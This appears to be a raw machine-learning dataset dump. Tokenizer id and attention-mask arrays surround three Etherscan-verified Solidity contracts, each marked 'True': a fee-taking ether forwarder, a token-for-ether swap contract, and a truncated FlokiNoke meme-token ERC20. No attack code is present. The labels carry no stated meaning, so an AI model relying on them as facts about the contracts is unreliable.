1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-03
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.11 <0.9.0;
contract SendEth2Me {
address private _owner;
modifier onlyOwner() {
require(_owner == msg.sender, "Caller is not the owner");
_;
}
modifier notZero(address _address) {
require(_address != address(0), "Avoid using zero address");
_;
}
modifier hasValue() {
require(msg.value > 0, "0 ether (wei) will not support anybody");
_;
}
modifier hasBalance() {
uint256 contractBalance = address(this).balance;
require(contractBalance > 0, "Contract has no balance");
_;
}
constructor() {
_owner = msg.sender;
}
function transferOwnership(address newOwner)
public
onlyOwner
notZero(newOwner)
{
_owner = newOwner;
}
function sendEther(address recipient) public payable hasValue {
uint256 amount;
if (msg.value == 1) {
amount = 1;
} else {
amount = msg.value;
if (msg.value <= 100) {
amount -= 1;
} else {
uint256 onePercent = msg.value / 100;
amount -= onePercent;
}
}
(bool success, ) = recipient.call{value: amount}("");
require(success, "Sending amount to recipient failed");
}
function withdraw() public payable onlyOwner hasBalance {
uint256 contractBalance = address(this).balance;
(bool success, ) = _owner.call{value: contractBalance}("");
require(success, "Withdraw contract balance failed");
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
6021,
1008,
1013,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1022,
1012,
2340,
1026,
1014,
1012,
1023,
1012,
1014,
1025,
3206,
4604,
11031,
2475,
4168,
1063,
4769,
2797,
1035,
3954,
1025,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
1035,
3954,
1027,
1027,
5796,
2290,
1012,
4604,
2121,
1010,
1000,
20587,
2003,
2025,
1996,
3954,
1000,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
2025,
6290,
2080,
1006,
4769,
1035,
4769,
1007,
1063,
5478,
1006,
1035,
4769,
999,
1027,
4769,
1006,
1014,
1007,
1010,
1000,
4468,
2478,
5717,
4769,
1000,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
2038,
10175,
5657,
1006,
1007,
1063,
5478,
1006,
5796,
2290,
1012,
3643,
1028,
1014,
1010,
1000,
1014,
28855,
1006,
11417,
1007,
2097,
2025,
2490,
10334,
1000,
1007,
1025,
1035,
1025,
1065,
16913,
18095,
2038,
26657,
1006,
1007,
1063,
21318,
3372,
17788,
2575,
3206,
26657,
1027,
4769,
1006,
2023,
1007,
1012,
5703,
1025,
5478,
1006,
3206,
26657,
1028,
1014,
1010,
1000,
3206,
2038,
2053,
5703,
1000,
1007,
1025,
1035,
1025,
1065,
9570,
2953,
1006,
1007,
1063,
1035,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
2069,
12384,
2121,
2025,
6290,
2080,
1006,
2047,
12384,
2121,
1007,
1063,
1035,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
3853,
4604,
11031,
2121,
1006,
4769,
7799,
1007,
2270,
3477,
3085,
2038,
10175,
5657,
1063,
21318,
3372,
17788,
2575,
3815,
1025,
2065,
1006,
5796,
2290,
1012,
3643,
1027,
1027,
1015,
1007,
1063,
3815,
1027,
1015,
1025,
1065,
2842,
1063,
3815,
1027,
5796,
2290,
1012,
3643,
1025,
2065,
1006,
5796,
2290,
1012,
3643,
1026,
1027,
2531,
1007,
1063,
3815,
1011,
1027,
1015,
1025,
1065,
2842,
1063,
21318,
3372,
17788,
2575,
2028,
4842,
13013,
1027,
5796,
2290,
1012,
3643,
1013,
2531,
1025,
3815,
1011,
1027,
2028,
4842,
13013,
1025,
1065,
1065,
1006,
22017,
2140,
3112,
1010,
1007,
1027,
7799,
1012,
2655,
1063,
3643,
1024,
3815,
1065,
1006,
1000,
1000,
1007,
1025,
5478,
1006,
3112,
1010,
1000,
6016,
3815,
2000,
7799,
3478,
1000,
1007,
1025,
1065,
3853,
10632,
1006,
1007,
2270,
3477,
3085,
2069,
12384,
2121,
2038,
26657,
1063,
21318,
3372,
17788,
2575,
3206,
26657,
1027,
4769,
1006,
2023,
1007,
1012,
5703,
1025,
1006,
22017,
2140,
3112,
1010,
1007,
1027,
1035,
3954,
1012,
2655,
1063,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint8 public decimals;
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* Copyright (C) 2018 Smartz, LLC
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND (express or implied).
*/
/**
* @title SwapTokenForEther
* Swap tokens of participant1 for ether of participant2
*
* @author Vladimir Khramov <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="27514b46434e4a4e55094c4f55464a485167544a4655535d094e48">[email protected]</a>>
*/
contract Swap {
address public participant1;
address public participant2;
ERC20Basic public participant1Token;
uint256 public participant1TokensCount;
uint256 public participant2EtherCount;
bool public isFinished = false;
function Swap() public payable {
participant1 = msg.sender;
participant2 = 0x6422665474ff39b0cfce217587123521c56cf33d;
participant1Token = ERC20Basic(0x6422665474fF39B0Cfce217587123521C56cF33d);
require(participant1Token.decimals() <= 18);
participant1TokensCount = 1000 ether / 10**(18-uint256(participant1Token.decimals()));
participant2EtherCount = 0.001 ether;
assert(participant1 != participant2);
assert(participant1Token != address(0));
assert(participant1TokensCount > 0);
assert(participant2EtherCount > 0);
}
/**
* Ether accepted
*/
function () external payable {
require(!isFinished);
require(msg.sender == participant2);
if (msg.value > participant2EtherCount) {
msg.sender.transfer(msg.value - participant2EtherCount);
}
}
/**
* Swap tokens for ether
*/
function swap() external {
require(!isFinished);
require(this.balance >= participant2EtherCount);
uint256 tokensBalance = participant1Token.balanceOf(this);
require(tokensBalance >= participant1TokensCount);
isFinished = true;
//check transfer
uint token1Participant2InitialBalance = participant1Token.balanceOf(participant2);
require(participant1Token.transfer(participant2, participant1TokensCount));
if (tokensBalance > participant1TokensCount) {
require(
participant1Token.transfer(participant1, tokensBalance - participant1TokensCount)
);
}
participant1.transfer(this.balance);
//check transfer
assert(participant1Token.balanceOf(participant2) >= token1Participant2InitialBalance+participant1TokensCount);
}
/**
* Refund tokens or ether by participants
*/
function refund() external {
if (msg.sender == participant1) {
uint256 tokensBalance = participant1Token.balanceOf(this);
require(tokensBalance>0);
participant1Token.transfer(participant1, tokensBalance);
} else if (msg.sender == participant2) {
require(this.balance > 0);
participant2.transfer(this.balance);
} else {
revert();
}
}
/**
* Tokens count sent by participant #1
*/
function participant1SentTokensCount() public view returns (uint256) {
return participant1Token.balanceOf(this);
}
/**
* Ether count sent by participant #2
*/
function participant2SentEtherCount() public view returns (uint256) {
return this.balance;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2324,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
9413,
2278,
11387,
22083,
2594,
1008,
1030,
16475,
16325,
2544,
1997,
9413,
2278,
11387,
8278,
1008,
1030,
16475,
2156,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
20311,
1008,
1013,
3206,
9413,
2278,
11387,
22083,
2594,
1063,
21318,
3372,
2620,
2270,
26066,
2015,
1025,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
3853,
5703,
11253,
1006,
4769,
2040,
1007,
2270,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
9385,
1006,
1039,
1007,
2760,
6047,
2480,
1010,
11775,
1008,
1008,
7000,
2104,
1996,
15895,
6105,
1010,
2544,
1016,
1012,
1014,
1006,
1996,
1000,
6105,
1000,
1007,
1012,
1008,
2017,
2089,
2025,
2224,
2023,
5371,
3272,
1999,
12646,
2007,
1996,
6105,
1012,
1008,
1008,
4983,
3223,
2011,
12711,
2375,
2030,
3530,
2000,
1999,
3015,
1010,
4007,
1008,
5500,
2104,
1996,
6105,
2003,
5500,
2006,
2019,
1000,
2004,
2003,
1000,
3978,
1010,
1008,
2302,
10943,
3111,
2030,
3785,
1997,
2151,
2785,
1006,
4671,
2030,
13339,
1007,
1012,
1008,
1013,
1013,
1008,
1008,
1008,
1030,
2516,
19948,
18715,
2368,
29278,
11031,
2121,
1008,
19948,
19204,
2015,
1997,
13180,
2487,
2005,
28855,
1997,
13180,
2475,
1008,
1008,
1030,
3166,
8748,
1047,
13492,
5302,
2615,
1026,
1026,
1037,
17850,
12879,
1027,
1000,
1013,
3729,
2078,
1011,
1039,
5856,
1013,
1048,
1013,
10373,
1011,
3860,
1000,
2465,
1027,
1000,
1035,
1035,
12935,
1035,
10373,
1035,
1035,
1000,
2951,
1011,
12935,
14545,
4014,
1027,
1000,
17528,
16932,
2497,
21472,
23777,
2549,
2063,
2549,
2050,
2549,
2063,
24087,
2692,
2683,
2549,
2278,
2549,
2546,
24087,
21472,
2549,
2050,
18139,
22203,
2575,
23352,
22932,
2050,
21472,
24087,
22275,
2629,
2094,
2692,
2683,
2549,
2063,
18139,
1000,
1028,
1031,
10373,
1004,
1001,
8148,
1025,
5123,
1033,
1026,
1013,
1037,
1028,
1028,
1008,
1013,
3206,
19948,
1063,
4769,
2270,
13180,
2487,
1025,
4769,
2270,
13180,
2475,
1025,
9413,
2278,
11387,
22083,
2594,
2270,
13180,
2487,
18715,
2368,
1025,
21318,
3372,
17788,
2575,
2270,
13180,
2487,
18715,
6132,
3597,
16671,
1025,
21318,
3372,
17788,
2575,
2270,
13180,
2475,
11031,
2121,
3597,
16671,
1025,
22017,
2140,
2270,
2003,
16294,
13295,
1027,
6270,
1025,
3853,
19948,
1006,
1007,
2270,
3477,
3085,
1063,
13180,
2487,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
13180,
2475,
1027,
1014,
2595,
21084,
19317,
28756,
27009,
2581,
2549,
4246,
23499,
2497,
2692,
2278,
11329,
2063,
17465,
23352,
2620,
2581,
12521,
19481,
17465,
2278,
26976,
2278,
2546,
22394,
2094,
1025,
13180,
2487,
18715,
2368,
1027,
9413,
2278,
11387,
22083,
2594,
1006,
1014,
2595,
21084,
19317,
28756,
27009,
2581,
2549,
4246,
23499,
2497,
2692,
2278,
11329,
2063,
17465,
23352,
2620,
2581,
12521,
19481,
17465,
2278,
26976,
2278,
2546,
22394,
2094,
1007,
1025,
5478,
1006,
13180,
2487,
18715,
2368,
1012,
26066,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-02-08
*/
// SPDX-License-Identifier: UNLICENSED
// FlokiNoke - $NOKEY
// Telegram: https://t.me/flokinoke
//
// After waiting months to play a certain game, we figured we'd just give it a shot... you know, to see how hard the team was really working.
//
// We may not be "taking over Ethereum," but we'll be adding P2E functionality within 48 hours, which means you can make money just from playing a platformer.
pragma solidity 0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transacgtion ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
